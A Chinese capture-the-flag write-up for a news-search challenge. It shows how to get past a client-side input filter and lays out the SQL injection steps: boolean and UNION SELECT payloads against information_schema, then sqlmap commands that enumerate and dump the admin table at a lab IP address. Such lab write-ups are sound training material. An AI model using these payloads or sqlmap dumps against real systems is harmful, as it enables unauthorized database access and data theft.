白云新闻搜索
题目描述
中国又出现了一个搜索巨头!据报道,中国网络大亨小明近日编写了一个搜索引擎,叫白云新闻搜索,具体链接在下方,该搜索链接功能欠打,界面乏力,小明出一包辣条悬赏漏洞,豪言入侵高手都去试试,你服不服?不服就去试试呗~(答案为flag{}形式,提交{}中内容即可)
解题思路
首先拿到一个页面,是新闻搜索页面
试着输入’:
查看源码,有前端表单过滤:
function myFunction(){var x=document.getElementById("number").value;var a=document.getElementById("word").value;var b=a.replace(/[\ |\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\||\\|\[|\]|\{|\}|\;|\:|\"|\'|\,|\<|\.|\>|\/|\?|\·|\!|\(|\)|\¥|\——|\……|\【|\】|\、|\;|\:|\‘|\“|\”|\’|\,|\。|\、|\《|\》|\?|\ ]/g,"");if(a.length!=b.length){alert("请输入正确字符。");document.getElementById("number").value = '';document.getElementById("word").value = '';}else if(isNaN(x)){alert("请输入数字。");document.getElementById("number").value = '';}}
把Javascript禁用掉:
测试有没有注入点,输入:' or 1=1 -- '
, 能返回所有内容,说明有注入漏洞。
查看表名:
' union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.tables -- '
查看字段
' union select 1,2,column_name from information_schema.columns -- '
获取flag
' union select 1,2,flag from admin -- '
sqlmap自动注入:
查看POST请求:
查看数据库名:
sqlmap -u "http://183.129.189.60:10071/" --data="word=%E5%86%85%E5%AE%B9&number=5" --batch -p "word" --dbs
参数说明:
-u URL, --url=URL Target URL (e.g. ".php?id=1")
--data=DATA Data string to be sent through POST (e.g. "id=1")
--batch Never ask for user input, use the default behavior
-p TESTPARAMETER Testable parameter(s)--dbs Enumerate DBMS databases
查看表名:
sqlmap -u "http://183.129.189.60:10071/" --data="word=%E5%86%85%E5%AE%B9&number=5" --batch -p "word" -D news --tables
参数说明:
-u URL, --url=URL Target URL (e.g. ".php?id=1")
--data=DATA Data string to be sent through POST (e.g. "id=1")

-p TESTPARAMETER Testable parameter(s)
-D DB DBMS database to enumerate
--tables Enumerate DBMS database tables
sqlmap -u "http://183.129.189.60:10071/" --data="word=%E5%86%85%E5%AE%B9&number=5" --batch -p "word" -D news -T admin --dump
参数说明:
-u URL, --url=URL Target URL (e.g. ".php?id=1")
--data=DATA Data string to be sent through POST (e.g. "id=1")
--batch Never ask for user input, use the default behavior
-p TESTPARAMETER Testable parameter(s)
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
--dump Dump DBMS database table entries
